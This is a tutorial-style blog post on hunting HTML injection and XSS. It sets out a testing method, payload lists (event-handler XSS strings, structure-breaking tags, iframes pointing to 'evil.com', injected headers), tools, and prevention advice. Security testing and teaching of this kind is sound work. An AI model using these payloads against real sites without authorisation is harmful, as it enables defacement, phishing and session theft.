Posted by HTML Injection is a web vulnerability that occurs when user-supplied input is inserted directly into a web page’s HTML without proper sanitization or encoding. It allows attackers to inject arbitrary HTML tags into a page, potentially affecting page layout, stealing user data, or leading to cross-site scripting (XSS) if scripts are allowed.
🔥 Real-World Impact of HTML Injection
- 🔀 Deface web content
- 👤 Steal session cookies (if script tags are allowed)
- 🔗 Inject fake login forms (phishing)
- 📩 Alter email content in vulnerable contact forms
- 🛠 Break HTML structure (DOM manipulation)
- 📥 Trigger auto-downloads or open redirects (with anchor/link tags)
🧨 HTML Injection vs XSS
All XSS is HTML Injection, but not all HTML Injection is XSS.
- HTML Injection: Injecting harmless or semi-harmful tags like
<b>,<marquee>,<img>, etc. - XSS: Injecting
<script>or event handlers to execute JavaScript
HTML Injection can still be critical even if <script> is blocked. For example, an injected <iframe> could lead to phishing, or <meta http-equiv="refresh"> could redirect users.
✅ Where to Look for HTML Injection — The Guaranty Method
Let’s break down the exact method to consistently find HTML Injection vulnerabilities.
🛠 Step 1: Identify All Input Points
Look for any form fields, search boxes, feedback pages, comment sections, or user-generated content areas that:
- Accept input from users
- Display it back on the page (without page reload or even with)
Common input fields:
- Name, email, message
- Product reviews/comments
- Profile fields (bio, website, status)
- Contact us / feedback forms
🧪 Step 2: Inject Simple HTML Payloads
Start with harmless HTML payloads:
<b>test</b>
<marquee>test</marquee>
<font color=red>test</font>
<blink>test</blink>
<i>Italic</i>
<img src=x onerror=alert(1)>
If the HTML renders instead of being encoded as text (<b>), you found a vulnerability.
🔎 Step 3: Look for Reflections in the Page
Use your browser’s Developer Tools > Inspect Element or view the page source (Ctrl+U) to check where and how your input is reflected.
Check if it’s:
- Inside HTML content
- Inside a tag attribute
- Inside JavaScript (for DOM-based issues)
- In hidden fields
🔄 Step 4: Try Breaking HTML Structure
Test how fragile the HTML rendering is by injecting unclosed tags:
</div><h1>Injected</h1>
</script><svg/onload=alert(1)>
"><iframe src="https://evil.com">
If the layout breaks or something renders oddly, that’s a strong sign.
🚨 Step 5: Test Dangerous Tags and Event Handlers
Try tags or attributes that can lead to full XSS or phishing:
<img src="x" onerror="alert(1)">
<svg/onload=alert(1)>
<iframe src="https://evil.com">
<body onload=alert(1)>
<video><source onerror=alert(1)>
<a href="javascript:alert(1)">click</a>
<input type="text" autofocus onfocus=alert(1)>
🪓 Step 6: Use Burp to Inject Server-Side
If the HTML injection doesn’t happen through a simple form, try:
- Submitting requests via Burp Suite
- Modifying GET/POST/JSON data
- Injecting headers like:
Referer: <b>referer</b>X-Forwarded-For: <h1>YOU'VE BEEN HACKED</h1>
🕳 Don’t Forget Error Messages and 404 Pages
Many websites reflect:
- Invalid search queries
- Broken URLs
- Server-side error messages
Test:
https://target.com/404?msg=<h1>Injected</h1>
🔥 Top HTML Injection Payloads
Here’s a curated list of top payloads that consistently work:
💡 Basic Rendering Payloads
<b>Injected</b>
<marquee>Hacked</marquee>
<font color=blue>Blue Text</font>
<i>Italic</i>
📉 Structure-Breaking Payloads
</title><h1>Injected</h1>
</div><img src=x onerror=alert(1)>
<!-- injected -->
<!--<script>alert(1)</script>-->
"><b>bold</b>
⚠️ XSS-Style Payloads (test if JS is allowed)
<img src=x onerror=alert(1)>
<svg/onload=alert('html')>
<video><source onerror=alert(1)>
<iframe src="javascript:alert(1)">
<a href="javascript:alert('html')">Click</a>
<input type="text" onfocus=alert(1) autofocus>
🛠 Best Tools to Find HTML Injection
ToolDescription
Burp SuiteIntercept, modify and inject payloads
XSS HunterDetect reflected HTML/XSS + blind injections
DalFoxFinds XSS and HTML injection (super fast)
XSStrikeContext-aware XSS scanner
HackBar (ext)Browser extension for quick injection tests
ZAP ProxyOWASP scanning tool that also detects HTMLi
ArjunHidden parameter discovery
Param MinerAuto-finds unlinked/reflected parameters
🧠 Real-World Examples of HTML Injection
- Name field HTML injection in event signup reflected back on thank you page
- Product review section allowed
<iframe>tags — phishing via fake login page - Search bar rendered input in
<h1>tags — layout defacement - 404 error page reflected GET parameters directly into the DOM
🔐 How to Prevent HTML Injection
If you’re a developer or part of a security team, follow these:
✅ Best Practices
- Never trust user input
- Always sanitize input with libraries like DOMPurify (JS), Bleach (Python), OWASP Java Encoder
- Encode output using:
htmlspecialchars()in PHP@Html.Encode()in .NETescape()functions in templates
- Use a strict Content Security Policy (CSP)
- Validate input types and expected values (whitelisting)
🏁 Final Thoughts
HTML Injection might not seem as scary as XSS at first glance — but it’s just as dangerous, especially if it:
- Breaks the DOM
- Leads to phishing
- Enables stored/DOM-based XSS
- Affects emails or admin panels
If you follow the steps in this post, you will find HTML injection vulnerabilities — guaranteed.
Stay curious. Stay persistent. And most importantly — stay ethical.
Happy hacking! 🔍🧠💻
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